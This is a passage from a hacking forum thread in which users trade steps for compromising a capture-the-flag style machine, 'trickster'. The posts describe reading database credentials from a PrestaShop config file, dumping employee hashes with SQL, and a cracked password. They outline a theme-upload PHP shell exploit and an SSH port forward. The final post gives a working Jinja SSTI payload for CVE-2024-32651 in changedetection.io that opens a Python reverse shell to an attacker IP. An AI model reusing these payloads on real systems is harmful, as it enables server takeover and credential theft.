Posts: 30
Threads: 0
Joined: May 2024
(Sep 21, 2024, 11:27 PM)osamy7593 Wrote: (Sep 21, 2024, 11:26 PM)wtfduw Wrote: You can find db creds under /var/www/prestashop/app/config/parameters.php
connect to mysql
use prestashop
select * from ps_customer;
crack james hash => password:alwaysandforever
Anyone has path for root?
thx budd ................
sure. my pleasure
As for root, port 5000 is exposed for docker 172.17.0.2
it has changedetection.io installed, tried a couple of exploits but nothing. Anyone got anything? This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Posts: 124
Threads: 1
Joined: Apr 2024
(Sep 21, 2024, 11:26 PM)wtfduw Wrote: You can find db creds under /var/www/prestashop/app/config/parameters.php
connect to mysql
use prestashop
select * from ps_customer;
crack james hash => password:alwaysandforever
Anyone has path for root?
i have 3 hashes in ps_customer, for adam, anonymous and pub - where is hash for james?
Posts: 30
Threads: 0
Joined: May 2024
(Sep 21, 2024, 11:36 PM)jsvensson Wrote: (Sep 21, 2024, 11:26 PM)wtfduw Wrote: You can find db creds under /var/www/prestashop/app/config/parameters.php
connect to mysql
use prestashop
select * from ps_customer;
crack james hash => password:alwaysandforever
Anyone has path for root?
i have 3 hashes in ps_customer, for adam, anonymous and pub - where is hash for james?
sorry I meant select * from ps_employee; This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Posts: 219
Threads: 14
Joined: Apr 2024
(Sep 21, 2024, 11:30 PM)wtfduw Wrote: (Sep 21, 2024, 11:27 PM)osamy7593 Wrote: (Sep 21, 2024, 11:26 PM)wtfduw Wrote: You can find db creds under /var/www/prestashop/app/config/parameters.php
connect to mysql
use prestashop
select * from ps_customer;
crack james hash => password:alwaysandforever
Anyone has path for root?
thx budd ................
sure. my pleasure
As for root, port 5000 is exposed for docker 172.17.0.2
it has changedetection.io installed, tried a couple of exploits but nothing. Anyone got anything?
yes i see
james@trickster:/tmp$ curl http://172.17.0.2:5000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link. This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason:
Asking for rep is not allowed
Posts: 30
Threads: 0
Joined: May 2024
(Sep 21, 2024, 11:42 PM)osamy7593 Wrote: (Sep 21, 2024, 11:30 PM)wtfduw Wrote: (Sep 21, 2024, 11:27 PM)osamy7593 Wrote: (Sep 21, 2024, 11:26 PM)wtfduw Wrote: You can find db creds under /var/www/prestashop/app/config/parameters.php
connect to mysql
use prestashop
select * from ps_customer;
crack james hash => password:alwaysandforever
Anyone has path for root?
thx budd ................
sure. my pleasure
As for root, port 5000 is exposed for docker 172.17.0.2
it has changedetection.io installed, tried a couple of exploits but nothing. Anyone got anything?
yes i see
james@trickster:/tmp$ curl http://172.17.0.2:5000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.
just forward the port with ssh james@trickster.htb -L 5000:172.17.0.2:5000 to access it This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Posts: 13
Threads: 2
Joined: Aug 2024
Sep 21, 2024, 11:58 PM
(This post was last modified: Sep 22, 2024, 12:00 AM by Str4ngerX.)
(Sep 21, 2024, 10:32 PM)jsvensson Wrote: for POC
there is a couple of things to change:
in zip you have a.php - need a change to yours ip to get shell - but this file must be in zip
in exploit.py - change name of shell.php to /themes/next/a.php
in exploit html:
all admin-dev to admin634ewutrx1jgitlooaj
and in import_theme to yours_ip
I'm still unable to get this working, I'm not able to GET http://shop.trickster.htb/themes/next/a.php, it says forbidden.
I have a.php exploit.html exploit.py ps_next_8_theme_malicious.zip (i've added my ip to a.php inside the zip)
I've made the right modifications but still nothing can't GET that a.php, I'm recieving GET requests at my hosted python web server and it's GETing that zip file successfully.
Posts: 6
Threads: 0
Joined: Aug 2024
Can someone give me a hint of what to do at the changedetection login? Tried several exploits but with no luck
Posts: 4
Threads: 0
Joined: Sep 2024
Any hints for using CVE-2024-32651? No luck with anything I try currently..
Posts: 219
Threads: 14
Joined: Apr 2024
Sep 22, 2024, 12:35 AM
(This post was last modified: Sep 22, 2024, 12:35 AM by osamy7593.)
0.45.20 ... the CVE is CVE-2024-32651 This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason:
Asking for rep is not allowed
Posts: 5
Threads: 0
Joined: Apr 2024
Sep 22, 2024, 12:52 AM
(This post was last modified: Sep 22, 2024, 01:11 AM by random901.)
For triggering launch of Root PoC:
- start a web-server on the machine "python3 -m http.server 8000"
- On the changedetect.io site "Add New Change" enter the URL http://172.17.0.1:8000" && "Edit > Watch"
- Set the Notification Url to "get://<attacker-ip>" && the Notification Body to the one from the PoC except change your to your IP & Port
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{ x()._module.__builtins__['__import__']('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"listen_ip\",listen_port));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\")'").read() }}{% endif %}{% endfor %}
- Add an index.html file or literally anything && re-check the website from changedetection dashboard. This should trigger the SSTI && get a shell
It needs to detect a change && have a Notification URL set in order for the notification body to be triggered.
|
